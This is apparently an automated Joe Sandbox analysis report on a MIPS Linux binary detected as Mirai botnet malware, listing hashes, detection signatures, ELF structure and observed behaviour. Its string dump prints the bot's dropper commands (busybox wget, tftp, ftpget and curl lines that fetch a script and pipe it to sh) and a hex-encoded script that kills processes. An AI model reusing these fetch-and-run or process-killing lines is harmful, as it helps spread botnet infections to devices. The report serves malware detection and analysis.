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Linux Analysis Report
mips.elf

Overview

General Information

Sample name:mips.elf
Analysis ID:1670245
MD5:66e8f8a70ac579e9051f2a75a2f86408
SHA1:7770341ea101ffd9082e8e01114193f1c61adb56
SHA256:152ee48437709a1184f268df149c6d9b17a5604ebb5acf8f29a165d904c7a63a
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1670245
Start date and time:2025-04-21 11:44:12 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 17s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:mips.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@0/0

Runtime Messages

Command:/tmp/mips.elf
PID:5431
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Process Tree

  • system is lnxubuntu20
  • mips.elf (PID: 5431, Parent: 5355, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
mips.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5431.1.00007faa5c400000.00007faa5c41a000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      • • AV Detection
      • • Spreading
      • • Networking
      • • System Summary
      • • Malware Analysis System Evasion
      • • Stealing of Sensitive Information
      • • Remote Access Functionality

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: mips.elfAvira: detected
      Source: mips.elfReversingLabs: Detection: 41%
      Source: mips.elfString: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"
      Source: mips.elfString found in binary or memory: http:///curl.sh
      Source: mips.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal64.troj.linELF@0/0@0/0
      Source: /tmp/mips.elf (PID: 5431)Queries kernel information via 'uname': Jump to behavior
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/mips
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: /etc/qemu-binfmtP /usr/libexec/goa-daemonQpvK
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: /etc/qemu-binfmtP
      Source: mips.elf, 5431.1.00007fff6d77d000.00007fff6d79e000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.elf
      Source: mips.elf, 5431.1.00007fff6d77d000.00007fff6d79e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
      Source: mips.elf, 5431.1.0000560ff8430000.0000560ff84d8000.rw-.sdmpBinary or memory string: V0!/usr/bin/vmtoolsd

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: mips.elf, type: SAMPLE
      Source: Yara matchFile source: 5431.1.00007faa5c400000.00007faa5c41a000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: mips.elf, type: SAMPLE
      Source: Yara matchFile source: 5431.1.00007faa5c400000.00007faa5c41a000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 signatures2 2 Behavior Graph ID: 1670245 Sample: mips.elf Startdate: 21/04/2025 Architecture: LINUX Score: 64 7 Antivirus / Scanner detection for submitted sample 2->7 9 Multi AV Scanner detection for submitted file 2->9 11 Yara detected Mirai 2->11 5 mips.elf 2->5         started        process3

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      mips.elf42%ReversingLabsLinux.Worm.Mirai
      mips.elf100%AviraLINUX/GM.Mirai.ET

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      ⊘No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shmips.elffalse
        		high
        http:///curl.shmips.elffalse
          		high

          World Map of Contacted IPs

          ⊘No contacted IP infos

          Joe Sandbox View / Context

          IPs

          ⊘No context

          Domains

          ⊘No context

          ASNs

          ⊘No context

          JA3 Fingerprints

          ⊘No context

          Dropped Files

          ⊘No context

          Created / dropped Files

          ⊘No created / dropped files found

          Static File Info

          General

          File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
          Entropy (8bit):5.518266527879303
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:mips.elf
          File size:109'628 bytes
          MD5:66e8f8a70ac579e9051f2a75a2f86408
          SHA1:7770341ea101ffd9082e8e01114193f1c61adb56
          SHA256:152ee48437709a1184f268df149c6d9b17a5604ebb5acf8f29a165d904c7a63a
          SHA512:ac7ee939c5467fb6a0b2e16d32b0bd41651cf9d808eb664e05b5251e609e94e28c3188f6f45aa62bf5f61ad25295fc892c80a783d64830982062249f3c11ac56
          SSDEEP:1536:MVV1SMnmPwlSBAmGre+De+3z+OV0BZUxcbRmol6ibejVzPPwnGWRNi:MVDTmPwcSmG2BZUObRmxiqPwnG8i
          TLSH:16B3C60E6E219F7DF768C33587B78A21975933D62BE0C685E26CDA051F2034D641FBA8
          File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@...........................E...E........Z.........dt.Q............................<...'.#\...!'.......................<...'.#8...!... ....'9... ......................<...'.#....!...$....'9z

          Static ELF Info

          ELF header

          Class:ELF32
          Data:2's complement, big endian
          Version:1 (current)
          Machine:MIPS R3000
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x400260
          Flags:0x1007
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:3
          Section Header Offset:109068
          Section Header Size:40
          Number of Section Headers:14
          Header String Table Index:13

          Sections

          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x4000940x940x8c0x00x6AX004
          .textPROGBITS0x4001200x1200x179900x00x6AX0016
          .finiPROGBITS0x417ab00x17ab00x5c0x00x6AX004
          .rodataPROGBITS0x417b100x17b100x20b00x00x2A0016
          .ctorsPROGBITS0x45a0000x1a0000x80x00x3WA004
          .dtorsPROGBITS0x45a0080x1a0080x80x00x3WA004
          .data.rel.roPROGBITS0x45a0140x1a0140x380x00x3WA004
          .dataPROGBITS0x45a0500x1a0500x3a80x00x3WA0016
          .gotPROGBITS0x45a4000x1a4000x5a80x40x10000003WAp0016
          .sbssNOBITS0x45a9a80x1a9a80x2c0x00x10000003WAp004
          .bssNOBITS0x45a9e00x1a9a80x50d80x00x3WA0016
          .mdebug.abi32PROGBITS0xc3c0x1a9a80x00x00x0001
          .shstrtabSTRTAB0x00x1a9a80x640x00x0001

          Program Segments

          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          LOAD0x00x4000000x4000000x19bc00x19bc05.57470x5R E0x10000.init .text .fini .rodata
          LOAD0x1a0000x45a0000x45a0000x9a80x5ab83.96860x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

          Network Behavior

          ⊘No network behavior found

          System Behavior

          General

          Start time (UTC):09:44:58
          Start date (UTC):21/04/2025
          Path:/tmp/mips.elf
          Arguments:/tmp/mips.elf
          File size:5777432 bytes
          MD5 hash:0083f1f0e77be34ad27f849842bbb00c

          File Activities

          Process Activities

          System Activities